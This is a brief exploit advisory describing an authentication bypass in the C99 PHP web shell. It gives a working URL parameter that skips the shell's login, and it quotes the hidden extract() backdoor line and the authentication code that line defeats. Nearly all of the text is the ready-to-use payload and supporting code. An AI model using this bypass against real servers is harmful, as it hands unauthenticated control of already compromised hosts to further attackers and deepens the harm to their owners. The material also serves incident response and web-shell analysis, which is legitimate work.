# Exploit Title: C99 Shell Authentication Bypass via Backdoor

All C99.php shells are backdoored. To bypass authentication add "?c99shcook[login]=0" to the URL. 

e.g. http://127.0.0.1/c99.php?c99shcook[login]=0

The backdoor:
@extract($_REQUEST["c99shcook"]);

Which bypasses the authentication here:
if ($login) {
    if (empty($md5_pass)) {
        $md5_pass = md5($pass);
    }
    if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass)) {
        if ($login_txt === false) {
            $login_txt = "";
        } elseif (empty($login_txt)) {
            $login_txt = strip_tags(ereg_replace("&nbsp;|<br>", " ", $donated_html));
        }
        header("WWW-Authenticate: Basic realm=\"c99shell " . $shver . ": " . $login_txt . "\"");
        header("HTTP/1.0 401 Unauthorized");
        exit($accessdeniedmess);
    }
}
